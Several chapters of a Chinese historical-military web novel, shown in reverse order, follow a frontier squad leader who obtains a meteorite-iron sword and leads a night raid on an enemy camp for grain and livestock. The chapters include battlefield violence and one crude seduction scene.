借着晚风的火势,一下子就顺着地面蔓延开来,不多时冲天的火光,把刚刚隐去月光的天空,霎时又照得就像白昼一样。
映着火光,看到衣衫不整四处狂奔着的鞑子,拿着各种武器叫嚣着向营门口冲了过来。
比鞑子们还要慌乱的三条人影,赶着一群驮着口袋的马和无数的牛羊,正向五十里外黄羊岘的方向狂奔。
牛羊的叫声,马的嘶鸣声,甚至还有鞑子女人惊恐万状的哭喊声,霎时就在冲天的火光中交织成一片。
“他们向南边跑了,赶快追……”
“杀了他们,汉兵人数不多……”
“快,骑马追……”
来不及穿上甲胄的鞑子们,身上裹着羊皮袍子,有的甚至光着膀子,高举着兵器吼叫着向营门口的方向冲了过来。
“快跑,不然来不及了……”
回头一望的马成,带着惊恐的颤声,骑在一匹马上使劲地用一条绳索抽打着面前脱着粮食口袋的马匹。
同样骑在马上的张发和丁威二人,从左右向中间归拢着同样惊慌失措的牲口。
转眼间,成群的牲口们被三人赶着,很快就消失在火光映照的范围之外。
同时成群结队追了过来的鞑子兵们,有的骑马,有的直接徒步狂奔而来。
如此多的牲口,再是有人在后面使劲赶着,但在夜里毕竟跑不了很快。
鞑子的追兵,很快就扑了过来。
“杀,给老子狠狠的杀,一个都不要漏掉……”
冲在最前面的一个鞑子,光着膀子骑在马上,高举着弯刀面目狰狞地吼叫着。
就在骑马的鞑子,狂追过来眼看就到了马成的身后。
押后的马成,看到身后几步外的鞑子高举着的弯刀,差一点就在马背上尿裤裆了。
就在这时,一道黑影从马成身后冲天而起,黑影手中的刀,在已经很微弱的火光下掠向鞑子的脖子。
“噗!”
一声微响。
一颗须发蓬乱的脑袋,随即就从鞑子魁梧的身躯上冲起半丈高的距离,“咕咚”一声又落在狂奔着的马儿身后。
载着没有了脑袋的鞑子身躯的马儿,还在继续向前狂奔,眨眼间就超过了马成。
本来惊恐万状的马成,看到身边掠过的鞑子战马驮着一具没有了脑袋,向外狂喷着人血的身子时,惊得马成差一点就栽下马背来。
紧接着,后面追上来的鞑子,一个接一个地栽下马背。
他们居然还一声疼都没有叫喊出来。
没有了骑士的战马,继续向前一路狂奔,速度甚至超过了马成他们。
黑影不断从地上腾空而起,寒光闪过之时,一颗颗脑袋不断地冲天而起,然后又掉在地上。
“九幽刀法,真他娘的痛快,哈哈哈……”
一声狂笑,撕裂了夜的黑。
月亮又从云层中露出了脸,清冷的月光把照得大地一片煞白。
一阵狂笑过后的叶十三,停止了奔跑立在地上。
瞬间,他被后面追过来的鞑子骑兵团团围住。
“杀了他,这人刚才杀了我们不少人。”
一名鞑子骑兵,手中弯刀指向叶十三,双眼充满了惊恐又喊道:“这人很厉害,大家一起上,砍死他,剁成肉酱喂狗。”
“嘿嘿!”
被围住的叶十三一点都没表现出害怕,呲着一口白牙缓缓举起了手中的刀笑道:“感谢诸位的捧场,老子正好试试这把刀,看看郑一刀这老小子是不是在给老子吹牛?”
“杀……”
叶十三的话还没落下,训练有素的鞑子骑兵们,一声吼叫就缩小了包围圈,十几把寒光闪闪的弯刀聚成一个圆圈,向处在圆心中的叶十三头上一起砍下。
就在包围圈中的十几把弯刀形成的刀圈直径不足一丈的时候,叶十三从原地升空而起,然后双臂一展,又向一只大鸟一样落下。
“叮当……”
一片火星四溅之下,十几把弯刀一起碰撞后又落空。
十几颗须发蓬乱的脑袋,却旋转着离开了骑士们的身躯。
第22章 夜袭
烽火台上,六人席地而坐。
看叶十三神色,另外三人就预感到大事待决。
“即刻起,烽火台值守,每天两人足矣!”
叶十三目光从每个人脸上扫过,率先打破了沉默。
“两人?”
伍长丁威陡然一惊,急道:“示警何等重要,什长大人……”
“行了!”
话还没说完,就被叶十三摆手打断。
叶十三站了起来,顺着烽火台的垛口来回转圈,道:“瞭望哨有两只眼睛就够了,点燧升狼烟,两只手就够了,没必要把兵力浪费在这些重复的事上。”
此言一出,余下五人都不淡定了。
李富贵憋了一阵,终于壮起胆子问道:“那其余四人,作何用途?”
“游击,抢粮。”
叶十三几乎是咬着牙,从嘴里蹦出四个字来。
“啊……”
五人异口同声,惊得眼珠子都差点掉地。
游击无可厚非,沿线巡查敌情,勉强算得上本职军务。
严格来说,这游击一职,本来就是北防军中探马干的差事。
再说,游击不光是一项军事活动,更是一个军职所在。
这些步弓手,之前就是游击出身,干这些也是轻车熟路的老本行了。
可这抢粮?
不会是去打劫镇上军部的粮仓吧!
除了军部的粮仓,哪里还有囤积粮食的地方?
抢百姓?
那更扯了,军户不得滋扰住民,这是军规。
沿着垛口转悠了一会的叶十三,重新坐下后掂着手中的残刀,突然又道:“张由甲,李富贵二人值守烽火台,其余人抓紧时间造饭,把那些马骨头炖了,大家吃饱喝足养精神,到时候跟我一起行动。”
遇上叶十三这种人狠话不多的货,五人一阵面面相觑,但谁也不敢张口再问。
片刻后,除了值守的二人,其他三人立刻行动起来剁骨头熬粥。
叶十三躺在燧道里牛粪火堆旁边的狼皮椅子上,霎时就打起了轻鼾。
……
夜幕很快就降临,四野黑得密不透风。
叶十三换上了一身从元蒙鞑子骑兵尸体上扒来的一套革甲,沉声道:“你们三人,都换上鞑子骑兵的革甲。”
革甲?
不是还有几套铁甲的吗?
论安全性,铁叶甲要比牛皮甲牢固多了。
面对三人疑惑的眼神,叶十三又道:“长途奔袭,穿铁甲能跑得动?”
不敢发问的三人,“哦”了一声后,迅速脱下了身上早已破烂不堪的旧革甲,把缴获来的革甲换了上去。
上次缴获的甲胄,军部的人造册统计后给他们留了几套,其余的全被带走了。
此时,泼墨般的天空,有稀疏的星星逐渐出现。
“出岘口!”
叶十三抓起桌上的残刀,拔腿就走,紧接着又道:“绳索、弓弩,都带齐了吧?”
出岘口?
那可是鞑子地界啊!
“什长?”
马成急了,追上来惊道:“未经允许进入元蒙地界,鞑子视我方入侵的啊!”
“三思啊什长!”
黑暗中,丁威的脸都绿了,接过马成的话茬急道:“稍有不慎,就会引起两国邦交矛盾,这个大罪我几人可担待不起啊!”
“废话!”
叶十三急匆匆地走着,头也不回道:“元蒙鞑子骑兵,屡犯我大夏边境,烧杀抢掠无恶不作,谁为两国邦交出来声讨过半句?”
只有张发闷不吭声,跟着叶十三出了通道。
“跟上去,别落下。”
无奈之下,马成也加快了脚步紧跟了上去。
“老子豁出去了,什长大人说啥就是啥。”
丁威把心一横,原本慢下来的步伐,又抢先了几步。
“我们都听什长大人的,什长大人让干啥就干啥,坐以待毙,不如主动出击,这份窝囊罪,老子早都受够了。”
一直没说话的闷葫芦张发,恶狠狠的就是一句。
言语间,一行四人已经到了岘口。
天空已经变得灿白一片,清冷的月光下,黄羊岘岘口两侧的悬崖,就像一头头沉睡的黑兽。
叶十三停了下来,转身说道:“都听好了,你们三个,到地方后注意隐蔽,我引开鞑子兵,至于我的安危,你们就不用管了。”
“那我们干什么?”马成迫不及待地问了一句。
“你们?”
叶十三呲着一口白牙笑了,沉思片刻,道:“伺机把鞑子的牛羊赶出来,要是发现粮食,能带走的,抢了马给驮着,然后原路返回。”
闻言之下,丁威腿肚子不由得一阵哆嗦。
深入鞑子腹地,去偷粮食抢牛羊,就凭他们三人?
“什长大人……”
丁威带着哭腔,颤声道:“就凭我们几个,剁了馅给鞑子包包子都不够,还能抢什么粮食和牛羊?”
叶十三知道,除了他之外,这三人心里都已经怕了。
其实,他也怕。
只是他没有更好的办法,要得活下去,首先得有吃的。
“何惧之有?”
叶十三笑了,一脸诡异地说道:“到了鞑子居住的地方,你们只管藏身,摸清放粮食的地方,然后弄些马出来,驮了粮食,再把牛羊赶出来返回就成。”
“那鞑子兵难道是死人?眼睁睁看着我们把粮食和牛羊赶走?”
马成撇着嘴,一脸生无可恋的样子,就差坐地上耍赖了。
叶十三沉下脸来,厉声斥道:“就你们这怂包样,也配活着吃粮?”
言语很少的张发,抬起头来望着远处,面无表情地说道:“怕也是死,不怕说不定还能活下来,什长大人如此安排,肯定是有他的道理,我们只管做就是。”
“没错!”
叶十三赞赏地点点头,沉声道:“我负责弄死哨兵,你们开始行动,得手后只管撤退,剩下的事就交给我了。”
“哪追兵?”
丁威还是心有余悸,怯生生地又是一问。
“我断后。”
叶十三说完,大手一挥,躬下身子就一路疾行。
一个时辰后,前面隐约有灯光。
一排木栅栏在灯光下若隐若现。
鞑子兵的驻地到了。
这里只有少量的鞑子兵驻扎,是一处元蒙牧民的定居地。
叶十三一扬手,停下了脚步的四人就地伏了下来。
“都看清楚了!”
叶十三指着灯光的方向,道:“旗杆上有灯,旁边是瞭望塔,上面有两个哨兵,你们三人去左边,左边是仓库和围栏的牛羊马匹,右面帐篷区域,应该住着的是鞑子骑兵,由我去对付他们。”
一盏灯笼就像鬼火,只能看到旗杆后面的瞭望塔。
月光下的毡帐,就像一个个坟包散布开来。
有大片围栏的地方,那就是牛羊屯集地了。
“都听好了!”
叶十三紧盯着前方,咬牙道:“注意隐蔽,务必先把粮食和马匹搞到手,如果顺利,牛羊更不要放过,能赶多少就赶多少。”
其余三人无人言语,只是重重地点点头表示应答。
“行动!”
话音一落,叶十三就像一只夜枭一样,直接像亮着灯的塔哨处掠去。
第21章 抢
一夜功夫,刀鞘成了。
叶十三用一根牛皮细绳,顺着刀柄自带的纹路,又交叉着缠了一层。
牛皮细绳缠出来的鱼鳞纹,就是这把残刀的唯一奢华装饰了。
木匠们加班改进出来的强弩,也足有上百把。
新制作出来的羽箭,也有好几百支,加上之前缴获了鞑子骑兵的那些,总共也有上千支的数量。
“徐佥事,这工事算是勉强够用了,但靠我们六个烽燧兵,可能还远远不够啊!”
叶十三把目光,投向一片清点人数准备带着田兵撤离的徐老六。
“唉!”
闻言一愣的徐老六,接着双手一摊,面带难色,苦笑道:“不瞒叶什长您,我徐老六也知道,防务抗敌,田兵当仁不让,就屯田村的军户,现有的壮劳力全在这里,剩下的都是老弱病残幼,他们出把蛮力尚可能行,这训练作战,那可远远达不到作战要求,就是人数,也是区区百余而已。”
明白了!
这一下,叶十三全明白了。
难怪偌大的铁匠铺,只有瘸着一条腿的郑一刀一人在打铁。
看来徐老六把屯田村仅有的状劳力,全部拉过来帮助他修筑工事了。
按照上次的情形,元蒙鞑子骑兵要是来报复,这边最少没有五六百人的兵力是无法狙击的。
而挨着屯田村的牧区,离这也有三五十里之遥,放牧的兵卒更是分散,就是全部召集起来也得几天是时间,更别说紧急训练一阵堪当大用了。
前来驻防的北防军常规部队,更是靠不住,两国没有大规模的战争爆发,是很难调动北防军大队兵马的。
这种动辄几十人,上百人甚至更多一点人数的骚扰和抢劫,只能靠他们自己对付了。
北防军只是一种意义上的后盾,只是大夏整体布局上的一股戍边力量。
兴师动众调遣大军,来应对元蒙鞑子骑兵神出鬼没的不定期骚扰,那是根本不现实的。
何况,北防军兵力也是极其有限,在千里防线上分布开来,轮到黄羊岘这一段也就没多少了。
如果元蒙鞑子的军队不割居大夏的疆土,只是沿线骚扰抢掠的话,军部不会轻易调动北防军主力的。
最多,也是在备受骚扰的区域,临时驻扎一阵做个震慑外敌的样子而已。
“再说,就是屯田村,口粮也是极其有限,大伙都吃不饱肚子。”
徐老刘神情尴尬,讪笑着又道:“不怕叶什长您笑话,要不是你们弄死的那些战马,让屯田村的老小们吃上一口肉,大家半年都不知肉味了的。”
这一点,叶十三明白。
屯田村的田兵虽然从事农耕生产,但所有的产出,都由军部统一调配。
每年的粮食打下来,按规定留部分口粮,其余的全部上缴到镇里驻军的粮库,再由军部按照军户名册,拨付日常所需的口粮。
这样做的目的,一是怕屯田村的田兵近水楼台先贪占,二是怕元蒙鞑子骑兵直接派出大部队抢粮。
就是牧区也是,牛羊都是造册登记的数量,超过制定的损耗线,牧兵就会受罚。
“不过……”
徐老六似有所悟,抬起头来又道:“在屯田村以外,还有好几个自然村,村里青壮年虽然有入伍了的人,但剩下的人口里面,勉强凑个三五百男丁还是够数,但自然村不属田兵管辖,得由地方衙门调派,再者,除了北防军常规部队,军户是没有征兵权的。”
这话没错!
征兵,那将意味着要拨付军粮和发饷银。
这些都不是垦区的军户能办到的。
闻言之下,叶十三眼里腾起的一丝光亮,随即又黯淡了下来。
田兵无权征用民夫,烽燧兵更没有这个权力。
如果军部的嘉奖下来就好了,看在银子和粮食的面子上,还是会有自然村的男丁为了饥饱主动来卖命。
屯田村的田兵就是个例子。
可眼下两手空空,那些冻马肉,就是他们自己填补军粮不足的最好食物了。
佥事徐老六的殷勤,也是和送给他们的战马尸体有关。
望着眼前的百十号田兵,叶十三还是没有气馁,铿锵说道:“人丁少归少,总比没有的好,为了保命,大家还是回去抓紧操练,务必做到共同防务。”
“是。”
徐老六面色凝重,点头道:“请叶什长放心,我等这就回去安排,如果烽火一起,我等定会增援黄羊岘,听命于叶什长的指挥。”
“好!”
叶十三微微颔首,又道:“发动屯田村的老小,重活干不动的,周边捡拾狼粪应该能行,帮烽火台积攒狼粪还是紧要。”
吩咐完训练田兵的事宜,叶十三把目光投向马成,道:“挑一匹好马给徐佥事。”
此言一出,马成面颊一抽。
战马何等金贵,缴获了近七十匹元蒙鞑子骑兵的战马,前来调查的骁骑尉就带走了六十匹,百夫长走的时候又带走六匹,只给他们这六人剩了四匹战马。
眼下六人四马,每人一匹都平均不了,这又得拿出一匹给徐老六?
“什长……”
马成嘴角一拧,人却没动。
“快去,没听见啊?”
“小的……”
马成还是站着没动,讪笑着道:“烽火台防务何等重要,这战马……”
“行了!”
叶十三摆摆手,直接打断马成的话道:“有了马,徐佥事也方便多了,这是战马,就是战时用的,不是驮马和驾辕拉车的。”
“遵命!”
马成的一张脸,都皱成了个牛粪饼,苦哈哈地就去给徐老六牵马。
带着田兵大干了三天的徐老六,由此得了一匹上等的战马,顿时眉开眼笑地说道:“这可使不得啊!战马如此金贵,还是留着……”
“行了!”
叶十三摆摆手,昂首说道:“一匹马而已,以后多的是,骑了它就是。”
等田兵们撤离,叶十三的脸都绿了。
这三天以来,虽然不给这些田兵发工钱,光管饭就把库房的存米吃了个精光。
那些死马,也只剩几副骨架在树杈上挂着。
不当家不知柴米贵,眼下他可是什长啊!
这办法,得他想。
抢?
抢谁?
难道是去自然村抢百姓?
望着灶上大锅里粘着的一层稀汤渣,叶十三拧起嘴角笑了。
“走,全部上烽火台议事。”
马成和张由甲一阵面面相觑,不知道这叶十三葫芦里卖的什么药?
照眼下的情形,不等元蒙鞑子骑兵杀过来,他们自己首先得饿死。
“什长大人,今不是我们当值。张由甲一阵紧张,忐忑不安地试探了一句。
叶十三双手背在身后,缓缓转过身来,目光一扫二人阴晴不定的那张脸,淡淡说道:“不当值就不能议事?再说,眼下总共六人,还分个屁的班,人员重新布置,留两人就够。”
两人?
一人值瞭望哨,另一人干点燧的差,那么剩下四人作何用场?
第20章 这破烂玩意儿也算刀?
好刀!
叶十三的这一赞,郑一刀面颊一阵急抖。
“叶什长果然是识刀之人,不枉郑某半生心血白白浪费。”
郑一刀点点头,黯然又道:“多年前郑某偶得一块陨石,但悟不得将其炼化之法门,故不敢轻易试之生怕毁了天物,叶什长让郑某茅塞顿开,终将此陨石炼化,和那些凡铁掺在一起铸造成这把刀。”
陨石?
不就是古代神器中所说的玄铁吗?
这刀是用玄铁和那些弯刀精炼成型,最后开刃成刀?
这郑一刀可真够可以的,用藏拙的方法铸造刀型,让它看起来毫不起眼。
可这把刀,还真算得上是万金难求的一把神器。
“叶十三谢过前辈!”
叶十三站了起来,双拳一抱,向郑一刀又是一礼,道:“前辈昼夜辛苦,不知该付多少酬劳合适?还请前辈开个价吧!”
“叶什长!”
郑一刀再次抬头,已是热泪满眶,嘴角一阵抽动后颤声道:“天物无价,用金银来论此刀的价值,简直就是对神器的亵渎,如果此刀能在叶什长手中大放异彩,屠尽来犯我大夏疆土的元蒙鞑子,郑某死此生而无憾!”
说着,双手一撑桌面的郑一刀站了起来,向叶十三一躬到底。
这一幕,看得张由甲一阵目瞪口呆。
在送走郑一刀后,张由甲冲上烽火台顶上,添油加醋向值着瞭望哨的马成耳语半天。
“真有此事?”
对此万般不解的马成,让这等闻所未闻的说法惊得合不拢嘴,呆愣片刻又道:“这郑一刀现已残疾,当年风光早已无存,在这屯田村靠打铁糊口,而叶十三涉世不深,莫要被这老兵油子给骗了?”
“此人铸刀分文未取!”
张由甲摇摇头,摆手又道:“故弄玄虚而已,就那破铁条,也算是刀?没拿走叶十三的一文钱,何来欺骗一说?”
马成愣了,既然没有收取任何的劳资,纯属是白给叶十三铸造了一把烂刀。
“你盯着,我下去看看。”
无比的好奇之下,马成下了烽火台,来到底层的燧道,一眼就看到叶十三正捧着那把所谓的刀爱不释手的摩挲个不停。
这把刀,还没镶嵌木柄。
从末端的粗细来看,似乎是没有留下镶嵌任何材质刀柄的位置。
刀柄部位被拧成了用来防滑的螺纹状,可以直接握着使用。
离护手半尺远下刀背处,那个看似铸造时由于铸造材料短缺自然形成缺口,才是刀身暗藏的一处玄机。
倘若和对手对斩,两刀相交之时,对方刀刃顺着自己刀背一路斩过来的时候,这个缺口正好卡住对手的刀口,从而卸掉对手刀势的一部分劲头。
高手过招,胜败就在一息间。
如果顺势猛然反转刀身,在对手猝不及防下抽不回刀的情况下,可绞断对手的刀。
尤其是向元蒙鞑子骑兵手中的弯刀,瞬息之间就会被绞断或者使其脱手。
刀身浅浅的开刃,泛着鱼肚一样的白光,丝毫看不出寒气逼人的质感。
就是整个刀身来看,除了浅浅的刀刃处以外,其余部位的表面也是凹凸不平,完全是一把锻打不够光滑的残次废品。
这也算刀?
简直就是半截破铁条而已!
马成看在眼里,嘴角扬起一丝不屑,暗自摇摇头转身欲走。
“回来!”
马成被叶十三冷不丁一声叫住,“去,到营房找一根牛皮细绳来。”
“算了,我自己去找。”
叶十三指使马成去营房找东西,话一出口,又打消了这个念头,让马成继续值守烽火台,自己便去了营房。
到了营房,叶十三便一头扎进库房,指着一个年老的木匠道:“你,过来。”
“什长大人!”
老木匠放下手中的活,来到叶十三面前毕恭毕敬地站了。
“找最好的木头,给我这刀做个刀鞘!”
叶十三把怀中抱着的刀,往桌上一放,然后在桌后坐了下来。
这是刀?
老木匠的目光,在看向桌上放着的东西时,差点就笑了出来。
充其量,这玩意儿也就是个铸件半成品。
按照刀的要求,那也是个残次品而已。
没有流线型的刀弧,也没有光洁平整的刀面,更没有寒光逼人的宽口刀刃,这半截铁条也算刀?
“什长大人,这……”
老木匠面上一阵尴尬,讪笑道:“什长大人战功赫赫,自可在镇上军部的兵器库挑选一把称心的刀来,这个就……”
“按我说的去做!”
叶十三不为老木匠的话所动,依然沉声道:“木料要最好的,坚硬且有韧性,鞘槽一定要凿刻好了,外表随意,我不讲究那些华而不实的装饰。”
二人的对话,引得木匠们的目光一起看向这边。
“军部这也太抠了,给烽燧兵也不配置一些好兵器。”
“就是啊!看看那些箭簇,钝得都钻不进泥土。”
“箭杆更糟糕,几乎没几根直溜的。”
“弓也是,要么就是一般人拉不开的硬弓,要么就是没力道的竹皮弓,没一把好使的。”
“要是这些弓箭好使,叶什长也不会让我们来改装这些物件了。”
“好东西都让北防军的常规部队挑走了,剩下的残次品这才给了烽燧兵使唤。”
这些木匠说的没错,前几天的那一场恶战,被步弓手射伤的元蒙鞑子骑兵是有,但直接射死的却少见,有的箭连元蒙鞑子骑兵的革甲都穿不透,何来杀敌的威力?
那些死了的元蒙鞑子,多半都是被叶十三一人砍死,只有少部分掉下马摔伤,或者受了箭伤后才被步弓手们乱刀砍死。
但这种机会,以后不会再有了,鞑子虽蠢,但不是猪。
“还愣着干嘛?”
叶十三目光一瞪老木匠,又道:“管它是不是好刀,你做出一把好刀鞘就成了。”
虽然田兵不属于烽燧兵管辖,但叶十三的话,这些人都不敢不听。
就眼前这个奴籍兵卒,在他的指挥下曾经杀死了上百的元蒙鞑子铁甲骑兵。
更让军部震惊的是,被砍死的元蒙鞑子骑兵中,还有一个铜甲副万户。
这等战绩,之前那可是闻所未闻,是北防军中戍边战场上从未有过的辉煌。
多半的遭遇,是几十个元蒙鞑子骑兵,逛追着好几百大夏北防军四散奔逃。
所到之处,牛羊,粮食无一不被抢光。
男丁尽数被杀死,女人则被兽性大发的元蒙鞑子骑兵们轮奸致残。
由此被虐死的大夏女人,也是不计少数。
在闻敌色变的黄羊岘一带,这个奴籍兵卒就成了他们眼中的战神。
至少他能阻挡元蒙鞑子骑兵的铁蹄,能狙杀进犯大夏疆土的敌人,能让他们看到安居乐业的希望。
“叶什长请放心!”
老木匠抓过一把墨斗,转身就在料堆里精心挑选用来做刀鞘的料子。
第19章 残刀
想到了,就去做。
叶十三去了库房,向马成交代几句,然后选了一匹马骑着,向屯田村疾驰而去。
“当啷!”
人还没跳下马背,叶十三把带着的三把弯刀扔在一处铁匠铺的门前。
铁匠铺门前窝棚下拉着风箱的一个疤脸男子,斜瞥叶十三一眼,然后继续低头拉着风箱。
望着双臂青筋暴起的疤脸汉子,叶十三的目光,突然定格在疤脸汉子半截空堂堂的裤管上。
缺了半截腿,残疾人。
就那一瞥,疤脸汉子眸子中闪过的一丝精悍,没有逃脱叶十三的眼睛。
看来,这是个有故事的人。
大冷的天,还光着两条膀子,这可不是一般人能扛得住的。
“掌柜的在吗?”
叶十三跳下了马,目光紧盯着拉风箱的疤脸汉子。
无人应答,疤脸男子依旧不紧不慢地拉着风箱。
“就你一人?”
耐着性子的叶十三,又是一问。
“啪嗒、啪嗒……”
疤脸男子拉风箱的手,改成了单手,腾出另一只手握着铁钳,正翻动着炉火中一块通红的铁片。
“哦!”
讨了个没趣的叶十三,恍然大悟道:“原来是个聋子,天聋地哑,看来此话不虚。”
“你废话真多!”
不料,疤脸男子头也没转,冷不丁就怼了一句过来。
“哦!”
叶十三也不恼怒,笑道:“原来会说话啊?”
疤脸男子单腿跳了一下,停下了拉风箱的动作,腾出一只手来,操起铁锤“叮叮当当”就敲打起来。
“就你一人?”
叶十三目光一扫整个铁匠铺,觉得有些不可思议。
这铁匠铺也不算小,里里外外足够大的,半成品农具堆得到处都是,但只有这个疤脸男子独自一人在干活。
而且,他还是个残疾人。
“眼瞎啊?”
疤脸男子边敲打手中的铁片,脸都没转一下,直接又是一怼。
见此人如此难沟通,叶十三也不废话,用脚踢了一下地上扔着的弯刀,说道:“就这些料,精炼一下,合成一把长刀。”
说着,叶十三从怀里摸出一张草图,向疤脸男子眼前一亮。
“老子只打农具和马掌。”
疤脸男子依旧没有转头,看都没看叶十三一眼,直接一口回绝。
“想要刀,去镇上军部的兵器库领就是。”
疤脸男子又补一句,口气坚决得不容置疑。
面对疤脸男子的冷漠,叶十三嘴角一拧,沉声道:“给你两天时间,打好了送到烽火台营房。”
说完,叶十三转身上马,头也不回地扬长而去。
“烽火台营房?”
疤脸男子身躯一震,随即停下了手中的活,慢慢蹲了下来,从地上捡起叶十三扔下的那张草图。
思忖片刻,疤脸男子又从地上拿起扔下来的弯刀,翻来覆去地看着,然后望着叶十三离去的背影,喃喃自语道:“他是叶十三?”
“能为叶十三打一次刀,此生再无憾事。”
疤脸男子又是一句自语,然后站了起来单腿跳着,进了里间后,从墙角破烂堆里翻出一块拳头大,表面布满了小孔的黑色石头,这才又捡起地上扔着的三把弯刀,一起扔进炉膛里烧了起来。
……
眨眼间,两日后正午。
在烽火台上,叶十三姨远远看到,从屯田村的方向过来一个拄着拐子的男子向营房走去。
“去,把那人带烽火台过来。”
叶十三嘴角扬起一丝笑意,沉声吩咐了马成一声。
“那不是铁匠郑一刀吗?”
一只手搭在额前,顺着叶十三目光所向,又道:“这死瘸子,跑这边何干?”
“郑一刀?”
叶十三一怔,这个疤脸男子,名字和刀有关。
“是的。”
马成点点头,遗憾道:“北防军中曾经有名的悍卒快刀手,领甲正军职,在一次执行任务中,深陷元蒙鞑子骑兵的包围,一人砍死对方三十六人,只因手中兵器太弱,丢了半截腿后侥幸活命。”
“由于伤残,退出北防军常规部队后,被淘汰在屯田村当了铁匠,不过此人有个怪癖从不打刀。”
马车滔滔不绝,又补充了一番。
“快去,请他过来。”
叶十三又是一声催促,然后把头转向瞭望口的张由甲,淡淡又道:“我先盯着,你去下面烧茶烤肉,一会上来换我。”
不多时候,郑一刀被带到。
一打照面,叶十三双拳一抱,道:“辛苦郑前辈了。”
“不敢,叶什长折煞郑某了。”
疤脸男子郑一刀,拄着拐子的手往下一移,用仅剩的一条腿跪了,低头又道:“能为叶什长打刀,此乃郑某人的荣幸。”
“前辈请起!”
叶十三慌忙伸出双手,硬生生把跪了下来的郑一刀给从两只胳膊肘上托了起来。
“前辈如此大礼,叫叶某如何受得?”
这郑一刀,以前可是领过甲正军职的人。
叶十三把郑一刀扶到那张铺着狼皮的椅子上坐了,亲自端了张由甲刚煮好的茶倒了一碗,放在郑一刀面前的桌上。
“叶什长请看!”
郑一刀反手伸向背后,拿下一卷用破布裹着的东西放在桌上,激动道:“这是郑某自打铁以来,亲手铸造的第一把刀,也是郑某打的最后一把刀。”
说着,破布被一层层剥掉,展现在眼前的,却是一把丑陋不堪的刀型铁条。
这是刀?
没搞错吧?
一旁候着的马成,不禁眉头一皱,狠狠地瞪了郑一刀一眼。
叶十三的目光,却被眼前的东西深深吸引了过去。
这黑黢黢的物件,就像一个还没完工的半成品刀坯。
粗糙的护手,拧成螺纹状的握柄,二指宽的刀身开刃很浅,刀背处离护手半尺的位置,还有一个宽约一寸的残口。
那个残口边缘随意,很是不整齐,就像铸造时材料不够漏空了一处似的。
没开玩笑吧!
这是刀?
马成差点就蹦起来,要不是叶十三对郑一刀如此看重,他保准会拎起郑一刀的后脖领给扔出烽火台去。
尤其是刀尖,不似常规刀具那般呈一面圆弧的尖形。
而是刀刃延伸到刀尖部位时,突然直线斜折,成了一个不带弧度的斜直刀尖。
残次品,就这水平,也只能打造农具和马掌了。
马成撇撇嘴,为了避免自己不忍直视这把刀的尴尬,主动上了烽火台顶部,替换下张由甲去值瞭望哨。
张由甲也不例外,在一眼看到桌上之物时,不禁为郑一刀紧握了一把汗。
就这玩意儿,要是惹得叶十三怒起,说不定会打断郑一刀的另一条腿。
“好刀!”
一双眼睛死死盯着桌上之物的叶十三,喃喃又道:“我已经感觉到了它的刀气,就看我能不能驾驭它隐藏在内的雷霆霸气?”
“啊……”
张由甲不禁一愣。
还霸气?
就这丑陋不堪的破铁条,也有霸气?
还隐藏?
这叶十三不会是眼盲了吧!
第18章 张寡妇
就在田兵们各忙其事的时候,屋门被从外面推开。
做了一夜沙盘的叶十三,刚爬上火炕要眯一会。
从屋外进来的一个女人,带着一股夹杂这膻臭味的香气就盈盈下拜。
“民妇见过什长大人!”
银盆大脸,浑身滚圆,擦着一脸脂粉一个年近四十的妇人,一打照面就向叶十三行礼。
“你是何人?”
猛然一怔的叶十三,狐疑地望着妇人,又道:“兵营之地,你如何随意进入?”
“回什长大人话!”
妇人从地上爬起,扭着肥硕的屁股,上前两步一侧身坐在炕沿上,向叶十三抛了个蹩脚的媚眼后,嗲声说道:“民妇就住在屯田村,听闻什长大人勇退强敌,身为什长大人庇护下的民妇,自当前来犒劳什长大人。”
犒劳?
和面黄肌瘦的田兵老小们比起来,这妇人肚里可是油水不少,不然如何吃得一身肥膘?
一个念头从叶十三脑海里飞快的闪过,眉头一皱,冷声道:“想必你就是那张氏了?”
张寡妇?
前什长高五的老相好?
没错!
全让叶十三给猜到了,眼前炕沿上坐着卖弄风骚的这个妇人,就是张寡妇。
“吆!”
张寡妇故作惊讶地一愣,然后便嗲声又道:“看来,叶什长也是知道民妇的了?”
“何止知道!”
叶十三强按下升腾起来的怒火,愠色道:“喝了那么多兵血,才养得你一身肥肉,看来高五为了你,克扣了我们不少的粮饷。”
“叶什长言重了!”
张寡妇妩媚地一笑,抬手就开始解自己胸衣的扣子,嗲声又道:“民妇这身肥肉,就是为什长大人长的,没有不闻骚的狐子,只要是个男人,都不例外。”
说着,已经露出了一对肥兔般的奶子的张寡妇,一转身就向炕上爬来。
戈壁之地缺水,洗浴更是奢侈,但张寡妇露出的上身,却白得就像羊油一样。
“放肆!”
叶十三望着张寡妇一身油腻腻的白肉,嗓眼里一阵翻腾,差点把昨夜吃下去的烤马肉给吐出来。
挥手扇了扇扑面而来夹杂着膻臭的香粉味儿,叶十三黑着一张脸又道:“我还没追究你擅闯军营之罪,你可倒好,死乞白赖地想拉我下水。”
“哈哈哈……”
张寡妇仰头一阵大笑,笑得上半身的白肉一阵急抖。
等笑够了,张寡妇双手就像托着两只白毛兔子一样,嗲声又道:“冤枉啊!这营房,民妇没少来过,就叶什长躺着的那块炕头,高五可没少骑着民妇……”
“够了!”
没等张寡妇说完,叶十三翻身坐了起来,冷冷看着张寡妇那张涂抹的煞白的一张胖脸,沉声道:“念你是个妇道人家,在这边关之地生活不易,故本什长也就没有深究你教唆前什长高五贪墨烽燧兵粮饷的罪责,你可倒好,不知悔过,反而变本加厉又来拉拢腐蚀本什长?”
张寡妇万没想到,天底下还有不吃腥的猫?
“守烽火台三年,老母猪当貂蝉。”
别说老母猪了,就何虎那几个,没少祸害牧民跑散了的羊。
自己再就是年纪大了点,好歹也是个有血有肉,会浪会叫的女人啊!
难道一个活生生的女人,竟然不比那些吃草的畜生好?
“叶什长!”
对此不死心的张寡妇,侧过身去又开始解自己的裤腰带。
“别嫌民妇面老,该嫩的地方,那可是草茂水汪的。”
“行了!”
叶十三直接跳下了炕,斜瞥一眼把自己脱了个精光的张寡妇,冷声道:“大战在即,识相的,别触老子的霉头,要是再不听劝,老子活剥了你这身皮做一面战鼓敲。”
看到叶十三动了真怒,张寡妇顿时一阵尴尬,背着身子在炕上麻溜地穿好了衣裤,然后溜下炕沿,低着头就跑了个没影。
等张寡妇的背影完全从视线中消失,叶十三一把抓起茶壶,咕嘟嘟就灌了一肚子已经凉了的茶水。
经过茶水这么一压,叶十三翻腾着的胃里这才安稳了一些。
叶十三重新关了屋门,拿起一把挑选出来的新刀沉思起来。
